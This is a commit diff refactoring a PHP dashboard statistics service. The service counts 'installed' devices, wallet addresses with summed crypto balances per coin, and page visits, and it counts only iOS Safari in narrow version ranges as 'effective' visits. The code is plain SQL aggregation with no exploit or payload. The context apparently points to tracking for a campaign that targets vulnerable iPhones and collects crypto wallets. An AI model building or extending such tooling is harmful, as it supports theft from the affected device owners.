feat: tg/ws

This commit is contained in:
hashbro
2026-08-31 02:45:24 +08:00
parent 9176af86dd
commit 337bf45c79
47 changed files with 1725 additions and 598 deletions
+35 -32
View File
@@ -73,8 +73,14 @@ class DashboardStatsService
// Period cohort: devices installed (created) in the selected range.
$createdInRange = (clone $base)->whereBetween('created_at', [$from, $to]);
$total = (clone $createdInRange)->count();
$walletCount = (clone $createdInRange)->where('has_wallet', Device::WALLET_YES)->count();
$deviceAgg = (clone $createdInRange)
->selectRaw(
'COUNT(*) as total, COALESCE(SUM(CASE WHEN has_wallet = ? THEN 1 ELSE 0 END), 0) as wallet_count',
[Device::WALLET_YES],
)
->first();
$total = (int) ($deviceAgg?->total ?? 0);
$walletCount = (int) ($deviceAgg?->wallet_count ?? 0);
$newCount = $total;
$activeCount = (clone $base)->whereBetween('updated_at', [$from, $to])->count();
@@ -88,9 +94,7 @@ class DashboardStatsService
$from,
$to,
);
$addressCount = $this->countDeviceChildren(
WalletAddress::query(),
'wallet_addresses',
[$addressCount, $balances] = $this->addressStats(
$agent,
$agentUserId,
$channelId,
@@ -98,7 +102,6 @@ class DashboardStatsService
$from,
$to,
);
$balances = $this->sumBalances($agent, $agentUserId, $channelId, $channelExact, $from, $to);
$visits = PageVisit::query();
AgentScope::applyChannelIdScope($visits, $agent);
@@ -114,19 +117,25 @@ class DashboardStatsService
}
$visits->whereBetween('created_at', [$from, $to]);
$pv = (clone $visits)->count();
$uv = (int) (clone $visits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');
$effectiveVisits = (clone $visits)->tap(fn (Builder $q) => $this->applyEffectiveFilter($q));
$effectivePv = (clone $effectiveVisits)->count();
$effectiveUv = (int) (clone $effectiveVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');
$effectiveSql = $this->effectiveVisitSql();
$visitAgg = (clone $visits)
->selectRaw(
"COUNT(*) as pv,
COUNT(DISTINCT client_uid) as uv,
COALESCE(SUM(CASE WHEN ({$effectiveSql}) THEN 1 ELSE 0 END), 0) as effective_pv,
COUNT(DISTINCT CASE WHEN ({$effectiveSql}) THEN client_uid END) as effective_uv,
COUNT(DISTINCT CASE WHEN os = 'iOS' THEN client_uid END) as ios_uv,
COUNT(DISTINCT CASE WHEN os IS NULL OR os != 'iOS' THEN client_uid END) as other_uv",
)
->first();
$pv = (int) ($visitAgg?->pv ?? 0);
$uv = (int) ($visitAgg?->uv ?? 0);
$effectivePv = (int) ($visitAgg?->effective_pv ?? 0);
$effectiveUv = (int) ($visitAgg?->effective_uv ?? 0);
$iosUv = (int) ($visitAgg?->ios_uv ?? 0);
$otherUv = (int) ($visitAgg?->other_uv ?? 0);
$iosVisits = (clone $visits)->where('os', 'iOS');
$iosUv = (int) (clone $iosVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');
$otherVisits = (clone $visits)->where(function (Builder $q) {
$q->whereNull('os')->orWhere('os', '!=', 'iOS');
});
$otherUv = (int) (clone $otherVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');
$byOs = [
$this->visitRow('iOS', $iosUv, $uv),
@@ -273,11 +282,11 @@ class DashboardStatsService
}
/**
* Sum coin columns for addresses created in the selected range.
* Address count + coin sums in one pass over wallet_addresses in range.
*
* @return array{usdt: string, trx: string, eth: string, btc: string, bnb: string}
* @return array{0: int, 1: array{usdt: string, trx: string, eth: string, btc: string, bnb: string}}
*/
private function sumBalances(
private function addressStats(
?User $agent,
?int $agentUserId,
string $channelId,
@@ -294,7 +303,7 @@ class DashboardStatsService
$channelExact,
)->whereBetween('wallet_addresses.created_at', [$from, $to]);
$selects = [];
$selects = ['COUNT(wallet_addresses.id) as addr_count'];
foreach (WalletAddress::COIN_COLUMNS as $col) {
$selects[] = 'COALESCE(SUM(wallet_addresses.'.$col.'), 0) as '.$col;
}
@@ -308,7 +317,7 @@ class DashboardStatsService
}
/** @var array{usdt: string, trx: string, eth: string, btc: string, bnb: string} $out */
return $out;
return [(int) ($row?->addr_count ?? 0), $out];
}
/**
@@ -350,16 +359,11 @@ class DashboardStatsService
/**
* Safari on iOS 13.0.0–17.2.1, plus 18.5 / 18.6 / 18.6.1 / 18.6.2.
*/
private function applyEffectiveFilter(Builder $query): void
private function effectiveVisitSql(): string
{
$query->where('os', 'iOS')
->where('browser', 'Safari')
->whereNotNull('os_version')
->where('os_version', '!=', '');
[$major, $minor, $patch] = $this->osVersionPartsSql();
$query->whereRaw(
"(
return "os = 'iOS' AND browser = 'Safari' AND os_version IS NOT NULL AND os_version != '' AND (
({$major} >= 13 AND (
{$major} < 17
OR ({$major} = 17 AND {$minor} < 2)
@@ -367,8 +371,7 @@ class DashboardStatsService
))
OR ({$major} = 18 AND {$minor} = 5 AND {$patch} = 0)
OR ({$major} = 18 AND {$minor} = 6 AND {$patch} IN (0, 1, 2))
)"
);
)";
}
/**